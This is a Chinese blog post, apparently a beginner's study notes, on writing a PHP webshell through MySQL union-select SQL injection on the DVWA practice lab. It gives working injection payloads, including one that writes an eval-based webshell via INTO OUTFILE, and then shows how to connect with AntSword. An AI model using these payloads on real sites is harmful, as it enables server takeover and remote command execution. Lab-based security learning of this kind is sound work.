SQL注入写入webshell的方法(union select写入)

(菜鸟一枚,日常记录,写的不对的地方欢迎大家指正)

必备条件

想要成功向MySQL写入WebShell需要至少满足以下4个条件:

1) 数据库的当前用户为ROOT或拥有FILE权限;

2)知道网站目录的绝对路径;

3) PHP的GPC参数为off状态;

4) MySQL中的secure_file_priv参数不能为NULL状态。

以DVWA靶场low级别为例:


1.判断是否存在注入点:

1)输入不常见的大数无反应

2)猜测是根据参数id值来查询数据,尝试:

===》存在数字型注入点

 2.找到网站所在的绝对路径

1' union select 1,@@datadir #

 3.利用sql注入点写shell:

1' union select "<?php @eval($_GET['cmd'])?>","hello admin" into outfile 'F:\\phpstudy\\MySQL\\data\\shell.php' #

 4.写路径,验证是否成功。

NB:MySQL文件夹直接属于phpstudy目录,因此写路径时,不用把找到路径全写出来,就从phpstudy之后写就行。我就是就是犯了这个错误,试了半天死活没权限,结果根本路径就是写错了。

 5.使用蚁剑进行连接

问题:

我连接以后,其他操作,例如:文件管理。都显示{}。

不知道为什么,我以为是我把文件写在了MySQL底下,所以没用。但是在WWW目录下写也一样连接之后也没法操作其他。

解决:在没做其他改变的前提下,我ctrl+F5强制刷新了几回,就又行了。以下是文件管理、虚拟终端、浏览网页。

 

问题记录:

1.

 union 联合查询:

1.union 运算实际是合并两个结果集中的所有记录,将其中重复记录剔除(保证结果集中的记录唯一。)

2.nion运算的两个结果集必须具有完全的列数,并且各列具有相同的数据类型。

3.我觉得是UNION联合查询查询的东西里边有一个错并不影响其他的正确的输出结果。

知识补充链接:

(5条消息) 第四章 SQL查询之联合语句_联合查询_大脑经常闹风暴@小猿的博客-CSDN博客

(6条消息) MySQL内置函数_@@datadir_凳子啊凳子的博客-CSDN博客

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值